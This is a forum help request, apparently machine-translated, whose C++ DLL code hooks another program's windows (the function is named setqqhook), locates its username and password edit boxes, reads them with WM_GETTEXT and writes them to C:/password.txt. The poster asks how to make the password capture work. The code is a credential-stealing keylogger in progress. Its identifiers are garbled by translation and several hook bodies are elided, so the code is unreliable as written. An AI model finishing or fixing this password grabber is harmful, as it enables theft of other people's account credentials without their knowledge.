How to obtain the edit box text in other process windows in DLL

This problem should be very easy, but I won't, and no one will tell me, depressing. Who gave me some advice. C ++ is poor at learning and cannot laugh at it.
I want to get the content of a text box of another process, so I wrote the processing code into a DLL compiled in C ++, found the qualified edit box handle, and sent the wm_gettext message to it, from the help document, you must obtain the content information from the defwindowproc function. The problem is:
How can I use this function in a C ++ file to obtain text content? Or whether other methods should be used to complete this function.
Some code is as follows:

# Define mydll_api _ declspec (dllexport)
# Include "mydll. H"
# Include "winuser. H"
# Include "windows. H"
# Include <string. h>
# Include <stdio. h>
# Include <stdlib. h>
Hwnd g_hnum = NULL;
Hwnd g_hpwd = NULL;
Hhook g_hproc = NULL;
Hhook g_hkey = NULL;
Hinstance g_hinstdll = NULL;

Void GetPassword ()
{
MessageBox (null, "enters the password acquisition stage! "," Depressing ", 0 );
Char num [255];
Char PWD [255];
Char total [255];
Handle h;
DWORD dw;
Memset (Num, 0,255 );
Memset (PWD, 0,255 );
Memset (total, 0,255 );
// The problem is how to connect the message? Where did defwindowproc write? Depressed.
Sendmessage (g_hnum, wm_gettext, 255, (lparam) num );
Strcat (total, "User name :");
// No text is available !! How?
// Strcat (total, num );
MessageBox (null, total, "depressed", 0 );
Sendmessage (g_hpwd, wm_gettext, 255, (lparam) PWD );
Strcat (total, "Password :");
// No text is available !! How?
// Strcat (total, PWD );
MessageBox (null, total, "depressed", 0 );
H = createfile ("C: // password.txt ",
Generic_write,
File_pai_write,
Null,
Open_always,
File_attribute_normal,
Null );
Writefile (H, & total, sizeof (total), & DW, null );
Closehandle (h );
}

Lresult callback keyboardproc (
Int code,
Wparam,
Lparam
)
{
.......
.......
.......
Return callnexthookex (g_hkey, code, wparam, lparam );
}

Lresult callback CALLWNDPROC (
Int ncode,
Wparam,
Lparam
)
{
Cwpstruct * P = (cwpstruct *) lparam;
.......
.......
.......
Return callnexthookex (g_hproc, ncode, wparam, lparam );
}

Bool winapi setqqhook (hwnd)
{
Bool Bret = false;
// G_procpre = setwindowlong (hwnd, gwl_wndproc, (long) mainwndproc );
Char lpclsname [255];
Memset (thinklsname, 0,255 );
Int CNT = 0;
Hwnd hsubwnd = NULL;
Hwnd hnextwnd = NULL;
Hwnd htemp = NULL;
If (hwnd! = NULL)
{
DWORD dwthreadid = getwindowthreadprocessid (hwnd, null );
// MessageBox (null, makeintresource (dwthreadid), "depressing", 0 );
// Htemp = hwnd;
Htemp = getwindow (hwnd, gw_child );
Do
{
Hsubwnd = getwindow (htemp, gw_hwndnext );
Int A = getclassname (hsubwnd, lpclsname, 255 );
// MessageBox (null, lpclsname, "depressing", 0 );
If (A = 0)
{
MessageBox (null, "a complete failure. The subwindow cannot be found! "," Depressing ", 0 );
Return false;
}
CNT ++;
If (CNT> 20)
{
MessageBox (null, "it seems that the method is incorrect, so I have to give up! "," Depressing ", 0 );
Break;
}
Htemp = hsubwnd;
} While (0! = Stricmp (maid, "edit "));

If (0 = stricmp (lpclsname, "edit "))
{
G_hnum = hsubwnd;
}
If (g_hnum = NULL)
{
MessageBox (null, "failed. The username window cannot be found! "," Depressing ", 0 );
Return false;
}
CNT = 0;
Do {
Hnextwnd = getnextwindow (hsubwnd, gw_hwndnext );
Int A = getclassname (hsubwnd, lpclsname, 255 );
// MessageBox (null, lpclsname, "depressing", 0 );
If (A = 0)
{
MessageBox (null, "failed, the code window cannot be found! "," Depressing ", 0 );
Return false;
}
CNT ++;
If (CNT> 20)
Break;
Hsubwnd = hnextwnd;
} While (0! = Stricmp (maid, "edit "));

If (0 = stricmp (lpclsname, "edit "))
{
// Long lstyle = getwindowlong (hnextwnd, gwl_style );
// If (lstyle & es_password)
//{
G_hpwd = hnextwnd;
//}
}
If (g_hpwd = NULL)
{
MessageBox (null, "failed. The password window cannot be found! "," Depressing ", 0 );
Return false;
}
// G_hproc = setwindowshookex (wh_callwndproc, CALLWNDPROC, g_hinstdll, dwthreadid );
// G_hkey = setwindowshookex (wh_keyboard, keyboardproc, g_hinstdll, dwthreadid );
G_hproc = setwindowshookex (wh_callwndproc, CALLWNDPROC, getmodulehandle ("mydll"), dwthreadid );
G_hkey = setwindowshookex (wh_keyboard, keyboardproc, getmodulehandle ("mydll"), dwthreadid );
// MessageBox (null, "displayed after hook creation", "depressed", 0 );
Bret = (g_hproc! = NULL) & (g_hkey! = NULL );
}
Else
{
Bret = unhookwindowshookex (g_hproc) & unhookwindowshookex (g_hkey );
G_hproc = NULL;
G_hkey = NULL;
G_hnum = NULL;
G_hpwd = NULL;
}
Return Bret;
}